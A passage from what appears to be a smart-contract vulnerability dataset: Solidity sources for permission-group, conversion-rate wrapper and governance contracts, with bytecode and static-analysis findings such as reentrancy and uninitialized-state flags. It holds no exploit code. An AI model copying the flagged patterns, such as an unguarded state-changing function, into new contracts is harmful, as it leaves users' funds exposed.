815260200184815260200142815260200160001515815250905080600760008481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506080820151816004015560a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff0219169083151502179055509050505050505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e128937eea03ff93b192947344a3d13bad1d4791f3de831a3bd3055594d033ea64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,132 |
0x2aF2f8CAAB1C8F94464C63fa055D89B1f2e17d05
|
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/wrapperContracts/WrapperBase.sol
contract WrapperBase is Withdrawable {
PermissionGroups wrappedContract;
function WrapperBase(PermissionGroups _wrappedContract, address _admin) public {
require(_wrappedContract != address(0));
require(_admin != address(0));
wrappedContract = _wrappedContract;
admin = _admin;
}
function claimWrappedContractAdmin() public onlyAdmin {
wrappedContract.claimAdmin();
}
function transferWrappedContractAdmin (address newAdmin) public onlyAdmin {
wrappedContract.removeOperator(this);
wrappedContract.transferAdmin(newAdmin);
}
function addSignature(address[] storage existingSignatures) internal returns(bool allSigned) {
for(uint i = 0; i < existingSignatures.length; i++) {
if (msg.sender == existingSignatures[i]) revert();
}
existingSignatures.push(msg.sender);
if (existingSignatures.length == operatorsGroup.length) {
allSigned = true;
existingSignatures.length = 0;
} else {
allSigned = false;
}
}
}
// File: contracts/wrapperContracts/WrapConversionRate.sol
contract ConversionRateWrapperInterface {
function setQtyStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public;
function setImbalanceStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public;
function claimAdmin() public;
function addOperator(address newOperator) public;
function transferAdmin(address newAdmin) public;
function addToken(ERC20 token) public;
function setTokenControlInfo(
ERC20 token,
uint minimalRecordResolution,
uint maxPerBlockImbalance,
uint maxTotalImbalance
) public;
function enableTokenTrade(ERC20 token) public;
function getTokenControlInfo(ERC20 token) public view returns(uint, uint, uint);
}
contract WrapConversionRate is WrapperBase {
ConversionRateWrapperInterface conversionRates;
//add token parameters
ERC20 addTokenToken;
uint addTokenMinimalResolution; // can be roughly 1 cent
uint addTokenMaxPerBlockImbalance; // in twei resolution
uint addTokenMaxTotalImbalance;
address[] addTokenApproveSignatures;
address[] addTokenResetSignatures;
//set token control info parameters.
ERC20[] tokenInfoTokenList;
uint[] tokenInfoPerBlockImbalance; // in twei resolution
uint[] tokenInfoMaxTotalImbalance;
bool public tokenInfoParametersReady;
address[] tokenInfoApproveSignatures;
address[] tokenInfoResetSignatures;
//general functions
function WrapConversionRate(ConversionRateWrapperInterface _conversionRates, address _admin) public
WrapperBase(PermissionGroups(address(_conversionRates)), _admin)
{
require (_conversionRates != address(0));
conversionRates = _conversionRates;
tokenInfoParametersReady = false;
}
function getWrappedContract() public view returns (ConversionRateWrapperInterface _conversionRates) {
_conversionRates = conversionRates;
}
// add token functions
//////////////////////
function setAddTokenData(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) public onlyOperator {
require(minimalRecordResolution != 0);
require(maxPerBlockImbalance != 0);
require(maxTotalImbalance != 0);
require(token != address(0));
//can update only when data is reset
require(addTokenToken == address(0));
//reset approve array. we have new parameters
addTokenApproveSignatures.length = 0;
addTokenToken = token;
addTokenMinimalResolution = minimalRecordResolution; // can be roughly 1 cent
addTokenMaxPerBlockImbalance = maxPerBlockImbalance; // in twei resolution
addTokenMaxTotalImbalance = maxTotalImbalance;
}
function signToApproveAddTokenData() public onlyOperator {
require(addTokenToken != address(0));
if(addSignature(addTokenApproveSignatures)) {
// can perform operation.
performAddToken();
resetAddTokenData();
}
}
function signToResetAddTokenData() public onlyOperator() {
require(addTokenToken != address(0));
if(addSignature(addTokenResetSignatures)) {
// can reset data
resetAddTokenData();
addTokenApproveSignatures.length = 0;
}
}
function performAddToken() internal {
conversionRates.addToken(addTokenToken);
//token control info
conversionRates.setTokenControlInfo(
addTokenToken,
addTokenMinimalResolution,
addTokenMaxPerBlockImbalance,
addTokenMaxTotalImbalance
);
//step functions
int[] memory zeroArr = new int[](1);
zeroArr[0] = 0;
conversionRates.setQtyStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr);
conversionRates.setImbalanceStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr);
conversionRates.enableTokenTrade(addTokenToken);
}
function resetAddTokenData() internal {
addTokenToken = ERC20(address(0));
addTokenMinimalResolution = 0;
addTokenMaxPerBlockImbalance = 0;
addTokenMaxTotalImbalance = 0;
}
function getAddTokenParameters() public view returns(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) {
token = addTokenToken;
minimalRecordResolution = addTokenMinimalResolution;
maxPerBlockImbalance = addTokenMaxPerBlockImbalance; // in twei resolution
maxTotalImbalance = addTokenMaxTotalImbalance;
}
function getAddTokenApproveSignatures() public view returns (address[] signatures) {
signatures = addTokenApproveSignatures;
}
function getAddTokenResetSignatures() public view returns (address[] signatures) {
signatures = addTokenResetSignatures;
}
//set token control info
////////////////////////
function setTokenInfoTokenList(ERC20 [] tokens) public onlyOperator {
require(tokenInfoParametersReady == false);
tokenInfoTokenList = tokens;
}
function setTokenInfoMaxPerBlockImbalanceList(uint[] maxPerBlockImbalanceValues) public onlyOperator {
require(tokenInfoParametersReady == false);
require(maxPerBlockImbalanceValues.length == tokenInfoTokenList.length);
tokenInfoPerBlockImbalance = maxPerBlockImbalanceValues;
}
function setTokenInfoMaxTotalImbalanceList(uint[] maxTotalImbalanceValues) public onlyOperator {
require(tokenInfoParametersReady == false);
require(maxTotalImbalanceValues.length == tokenInfoTokenList.length);
tokenInfoMaxTotalImbalance = maxTotalImbalanceValues;
}
function setTokenInfoParametersReady() {
require(tokenInfoParametersReady == false);
tokenInfoParametersReady = true;
}
function signToApproveTokenControlInfo() public onlyOperator {
require(tokenInfoParametersReady == true);
if (addSignature(tokenInfoApproveSignatures)) {
// can perform operation.
performSetTokenControlInfo();
tokenInfoParametersReady = false;
}
}
function signToResetTokenControlInfo() public onlyOperator {
require(tokenInfoParametersReady == true);
if (addSignature(tokenInfoResetSignatures)) {
// can perform operation.
tokenInfoParametersReady = false;
}
}
function performSetTokenControlInfo() internal {
require(tokenInfoTokenList.length == tokenInfoPerBlockImbalance.length);
require(tokenInfoTokenList.length == tokenInfoMaxTotalImbalance.length);
uint minimalRecordResolution;
uint rxMaxPerBlockImbalance;
uint rxMaxTotalImbalance;
for (uint i = 0; i < tokenInfoTokenList.length; i++) {
(minimalRecordResolution, rxMaxPerBlockImbalance, rxMaxTotalImbalance) =
conversionRates.getTokenControlInfo(tokenInfoTokenList[i]);
require(minimalRecordResolution != 0);
conversionRates.setTokenControlInfo(tokenInfoTokenList[i],
minimalRecordResolution,
tokenInfoPerBlockImbalance[i],
tokenInfoMaxTotalImbalance[i]);
}
}
function getControlInfoPerToken (uint index) public view returns(ERC20 token, uint _maxPerBlockImbalance, uint _maxTotalImbalance) {
require (tokenInfoTokenList.length > index);
require (tokenInfoPerBlockImbalance.length > index);
require (tokenInfoMaxTotalImbalance.length > index);
return(tokenInfoTokenList[index], tokenInfoPerBlockImbalance[index], tokenInfoMaxTotalImbalance[index]);
}
function getControlInfoTokenlist() public view returns(ERC20[] tokens) {
tokens = tokenInfoTokenList;
}
function getControlInfoMaxPerBlockImbalanceList() public view returns(uint[] maxPerBlockImbalanceValues) {
maxPerBlockImbalanceValues = tokenInfoPerBlockImbalance;
}
function getControlInfoMaxTotalImbalanceList() public view returns(uint[] maxTotalImbalanceValues) {
maxTotalImbalanceValues = tokenInfoMaxTotalImbalance;
}
}
|
0x6060604052600436106101875763ffffffff60e060020a600035041663010afc20811461018c57806301a12fd3146101a15780631ae0c787146101c05780631bca989e146102265780631db894fc14610275578063267822471461028857806327a099d8146102b757806334fa0606146102ca5780633ccdbb28146102dd578063408ee7fe1461030657806358047913146103255780635adc0c681461033857806375829def1461038857806377f50f97146103a75780637acc8678146103ba5780637c423f54146103d957806386073441146103ec5780638d7cffb7146103ff578063944f0e641461041e5780639870d7fe14610445578063990dec9414610464578063a70b597614610477578063aaa1f91d146104c6578063ac8a584a146104ee578063aea8dcca1461050d578063b832004d1461055c578063ce56c4541461056f578063d2aa24b614610591578063e7fcf520146105a4578063f05168e6146105b7578063f66c3af1146105ca578063f851a440146105dd578063fd56d4c8146105f0575b600080fd5b341561019757600080fd5b61019f61063c565b005b34156101ac57600080fd5b61019f600160a060020a03600435166106ac565b34156101cb57600080fd5b6101d361081c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102125780820151838201526020016101fa565b505050509050019250505060405180910390f35b341561023157600080fd5b61019f600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061087a95505050505050565b341561028057600080fd5b61019f6108d3565b341561029357600080fd5b61029b610932565b604051600160a060020a03909116815260200160405180910390f35b34156102c257600080fd5b6101d3610941565b34156102d557600080fd5b6101d36109a9565b34156102e857600080fd5b61019f600160a060020a036004358116906024359060443516610a0f565b341561031157600080fd5b61019f600160a060020a0360043516610b06565b341561033057600080fd5b61029b610c02565b341561034357600080fd5b61034b610c11565b6040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390f35b341561039357600080fd5b61019f600160a060020a0360043516610c2f565b34156103b257600080fd5b61019f610cca565b34156103c557600080fd5b61019f600160a060020a0360043516610d64565b34156103e457600080fd5b6101d3610e46565b34156103f757600080fd5b61019f610eac565b341561040a57600080fd5b61019f600160a060020a0360043516610f09565b341561042957600080fd5b610431610ff0565b604051901515815260200160405180910390f35b341561045057600080fd5b61019f600160a060020a0360043516610ff9565b341561046f57600080fd5b61019f6110c9565b341561048257600080fd5b61019f600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061112e95505050505050565b34156104d157600080fd5b61019f600160a060020a0360043516602435604435606435611178565b34156104f957600080fd5b61019f600160a060020a036004351661122b565b341561051857600080fd5b61019f600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061139795505050505050565b341561056757600080fd5b61019f6113f0565b341561057a57600080fd5b61019f600435600160a060020a036024351661140f565b341561059c57600080fd5b6101d36114a2565b34156105af57600080fd5b61019f6114fe565b34156105c257600080fd5b6101d3611554565b34156105d557600080fd5b6101d36115ba565b34156105e857600080fd5b61029b611620565b34156105fb57600080fd5b61060660043561162f565b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390f35b60005433600160a060020a0390811691161461065757600080fd5b600654600160a060020a03166377f50f976040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561069657600080fd5b6102c65a03f115156106a757600080fd5b505050565b6000805433600160a060020a039081169116146106c857600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156106ef57600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156108185781600160a060020a031660058281548110151561073457fe5b600091825260209091200154600160a060020a031614156108105760058054600019810190811061076157fe5b60009182526020909120015460058054600160a060020a03909216918390811061078757fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906107c3906000198301611e13565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610818565b600101610711565b5050565b610824611e37565b601080548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020905b81548152602001906001019080831161085c575b5050505050905090565b600160a060020a03331660009081526002602052604090205460ff1615156108a157600080fd5b60115460ff16156108b157600080fd5b600e548151146108c057600080fd5b600f818051610818929160200190611e49565b600160a060020a03331660009081526002602052604090205460ff1615156108fa57600080fd5b60115460ff16151560011461090e57600080fd5b61091860126116cb565b1561093057610925611776565b6011805460ff191690555b565b600154600160a060020a031681565b610949611e37565b600480548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161098157505050505090505b90565b6109b1611e37565b600e80548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610981575050505050905090565b60005433600160a060020a03908116911614610a2a57600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a8757600080fd5b6102c65a03f11515610a9857600080fd5b505050604051805190501515610aad57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610b2157600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610b4757600080fd5b60055460329010610b5757600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610bd68382611e13565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600754600160a060020a031690565b600854600954600a54600b54600160a060020a039093169391929091565b60005433600160a060020a03908116911614610c4a57600080fd5b600160a060020a0381161515610c5f57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610ce557600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610d7f57600080fd5b600160a060020a0381161515610d9457600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610e4e611e37565b600580548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610981575050505050905090565b600160a060020a03331660009081526002602052604090205460ff161515610ed357600080fd5b600854600160a060020a03161515610eea57600080fd5b610ef4600c6116cb565b1561093057610f01611946565b610930611df2565b60005433600160a060020a03908116911614610f2457600080fd5b600654600160a060020a031663ac8a584a3060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610f7457600080fd5b6102c65a03f11515610f8557600080fd5b5050600654600160a060020a031690506375829def8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610fd957600080fd5b6102c65a03f11515610fea57600080fd5b50505050565b60115460ff1681565b60005433600160a060020a0390811691161461101457600080fd5b600160a060020a03811660009081526002602052604090205460ff161561103a57600080fd5b6004546032901061104a57600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610bd68382611e13565b600160a060020a03331660009081526002602052604090205460ff1615156110f057600080fd5b600854600160a060020a0316151561110757600080fd5b611111600d6116cb565b156109305761111e611df2565b600061112b600c82611e13565b50565b600160a060020a03331660009081526002602052604090205460ff16151561115557600080fd5b60115460ff161561116557600080fd5b600e818051610818929160200190611e94565b600160a060020a03331660009081526002602052604090205460ff16151561119f57600080fd5b8215156111ab57600080fd5b8115156111b757600080fd5b8015156111c357600080fd5b600160a060020a03841615156111d857600080fd5b600854600160a060020a0316156111ee57600080fd5b60006111fb600c82611e13565b5060088054600160a060020a031916600160a060020a039590951694909417909355600991909155600a55600b55565b6000805433600160a060020a0390811691161461124757600080fd5b600160a060020a03821660009081526002602052604090205460ff16151561126e57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156108185781600160a060020a03166004828154811015156112b357fe5b600091825260209091200154600160a060020a0316141561138f576004805460001981019081106112e057fe5b60009182526020909120015460048054600160a060020a03909216918390811061130657fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906113429082611e13565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610818565b600101611290565b600160a060020a03331660009081526002602052604090205460ff1615156113be57600080fd5b60115460ff16156113ce57600080fd5b600e548151146113dd57600080fd5b6010818051610818929160200190611e49565b60115460ff161561140057600080fd5b6011805460ff19166001179055565b60005433600160a060020a0390811691161461142a57600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561145b57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b6114aa611e37565b600f805480602002602001604051908101604052809291908181526020018280548015610870576020028201919060005260206000209081548152602001906001019080831161085c575050505050905090565b600160a060020a03331660009081526002602052604090205460ff16151561152557600080fd5b60115460ff16151560011461153957600080fd5b61154360136116cb565b15610930576011805460ff19169055565b61155c611e37565b600d80548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610981575050505050905090565b6115c2611e37565b600c80548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610981575050505050905090565b600054600160a060020a031681565b600e546000908190819084901161164557600080fd5b600f5484901161165457600080fd5b60105484901161166357600080fd5b600e80548590811061167157fe5b600091825260209091200154600f8054600160a060020a03909216918690811061169757fe5b9060005260206000209001546010868154811015156116b257fe5b9060005260206000209001549250925092509193909250565b6000805b82548110156117135782818154811015156116e657fe5b60009182526020909120015433600160a060020a039081169116141561170b57600080fd5b6001016116cf565b82548390600181016117258382611e13565b5060009182526020909120018054600160a060020a03191633600160a060020a03161790556004548354141561176b576001915060006117658482611e13565b50611770565b600091505b50919050565b600f54600e546000918291829182911461178f57600080fd5b601054600e541461179f57600080fd5b5060005b600e54811015610fea57600754600e8054600160a060020a039092169163e7d4fd919190849081106117d157fe5b6000918252602082200154600160a060020a0316906040516060015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401606060405180830381600087803b151561182b57600080fd5b6102c65a03f1151561183c57600080fd5b50505060405180519060200180519060200180519296509094509092505083151561186657600080fd5b600754600e8054600160a060020a039092169163bfee356991908490811061188a57fe5b600091825260209091200154600f8054600160a060020a0390921691889190869081106118b357fe5b9060005260206000209001546010868154811015156118ce57fe5b90600052602060002090015460405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561192a57600080fd5b6102c65a03f1151561193b57600080fd5b5050506001016117a3565b61194e611e37565b600754600854600160a060020a039182169163d48bfca7911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156119a557600080fd5b6102c65a03f115156119b657600080fd5b5050600754600854600954600a54600b54600160a060020a03948516955063bfee3569949093169260405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b1515611a2e57600080fd5b6102c65a03f11515611a3f57600080fd5b5050506001604051805910611a515750595b90808252806020026020018201604052509050600081600081518110611a7357fe5b60209081029091010152600754600854600160a060020a03918216916380d8b3809116838080806040518663ffffffff1660e060020a0281526004018086600160a060020a0316600160a060020a0316815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015611b10578082015183820152602001611af8565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015611b4f578082015183820152602001611b37565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015611b8e578082015183820152602001611b76565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015611bcd578082015183820152602001611bb5565b505050509050019950505050505050505050600060405180830381600087803b1515611bf857600080fd5b6102c65a03f11515611c0957600080fd5b5050600754600854600160a060020a03918216925063bc9cbcc89116838080806040518663ffffffff1660e060020a0281526004018086600160a060020a0316600160a060020a0316815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015611c9f578082015183820152602001611c87565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015611cde578082015183820152602001611cc6565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015611d1d578082015183820152602001611d05565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015611d5c578082015183820152602001611d44565b505050509050019950505050505050505050600060405180830381600087803b1515611d8757600080fd5b6102c65a03f11515611d9857600080fd5b5050600754600854600160a060020a039182169250631d6a8bda911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610fd957600080fd5b60088054600160a060020a031916905560006009819055600a819055600b55565b8154818355818115116106a7576000838152602090206106a7918101908301611ef7565b60206040519081016040526000815290565b828054828255906000526020600020908101928215611e84579160200282015b82811115611e84578251825591602001919060010190611e69565b50611e90929150611ef7565b5090565b828054828255906000526020600020908101928215611eeb579160200282015b82811115611eeb5782518254600160a060020a031916600160a060020a039190911617825560209290920191600190910190611eb4565b50611e90929150611f11565b6109a691905b80821115611e905760008155600101611efd565b6109a691905b80821115611e90578054600160a060020a0319168155600101611f175600a165627a7a72305820ac9988ffb0be93133e78783d3a8b981609aae2429c1bbeecff523445f80dc26b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,133 |
0x52b4489b71caa0ddf14db121b25d0a4d360af575
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Strike Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 130000e18; } // 130000 = 2% of STRK
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 65188e18; } // 65188 = 1% of STRK
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 50; } // 50 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Strike Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Strike governance token
StrkInterface public strk;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address strk_, address guardian_) public {
timelock = TimelockInterface(timelock_);
strk = StrkInterface(strk_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(strk.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
